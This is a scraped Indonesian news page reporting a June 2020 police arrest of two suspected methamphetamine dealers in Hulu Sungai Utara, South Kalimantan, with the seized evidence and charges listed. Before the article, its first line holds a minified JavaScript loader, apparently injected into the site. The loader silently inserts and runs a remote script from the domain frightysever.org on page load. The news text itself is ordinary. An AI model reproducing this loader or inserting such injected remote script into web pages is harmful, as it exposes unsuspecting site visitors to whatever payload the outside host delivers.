(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) meringkus dua pria diduga pengedar narkoba jebis sabu di Desa Beringin Kecamatan Banjang, Kabupaten HSU, Sabtu (6/6/2020) sekitar pukul 22.45 Wita.
Penangkapan dua tersangka berinisial SA (41) dan OM (36) tersebut saat anggota Sat Resnarkoba Polres HSU berlangsung di sebuah rumah RT 001 Desa Beringin, Kecamatan Banjang.
Mirisnya, salah satu dari tersangka yakni SA, warga Desa Beringin, diketahui berstatus sebagai ASN. Sementara tersangka OM merupakan pekerja serabutan warga Desa Teluk Sarikat, Kecamantan Banjang.
Alhasil dalam operasi tersebut didapati barang bukti 2 paket sabu seberat 0.80 gram atau berat bersih 0.44 gram dari tangan tersangka SA. Sementara 7 paket sabu seberat 4.81 Gram atau berat bersih 3.58 Gram dari tangan tersangka OM.
Dua tersangka pemilik sabu yang ditangkap Polres HSU, SA (41) dan OM (36). foto: resnarkoba polres hsu for kanalkalimantan
Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Senin (8/6/2020) mengatakan memang telah meringkus dua tersangka usai menerima informasi dari masyarakat.
Menurut Siswadi, keduanya diringkus saat berada di dalam rumah SA. Masih menurut keterangan polisi, keduanya merupakan pemain lama yang saling berhubungan.
“Sama-sama mas (diringkus), karena pada saat digrebek mereka berdua ada di dalam rumah,” ujar Kasat Resnarkoba Polres HSU.
Barang bukti yang disita Sat Resnarkoba Polres HSU. foto: resnarkoba polres hsu for kanalkalimantan
Lebih lanjut, Siswadi mengakui pihaknya saat ini terus menelusuri asal-usul barang haram tersebut yang mereka dapat dari kedua tersangka.
Kedua tersangka bersama barang bukti lainnya seperti kartu ATM, 2 buah timbangan digital, uang tunai sebesar Rp 2.867.000 serta handphone masing masing milik tersangka kini diamankan ke Mapolres HSU.
Keduanya bakal dijerat Pasal 114 Ayat (1) Atau 112 Ayat (1) JO 132 Ayat (1) UU RI No.35 Tahun 2009 Tentang Narkotika, dengan ancaman hukuman maksimal 12 tahun dan denda maksimal Rp 8 miliar. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.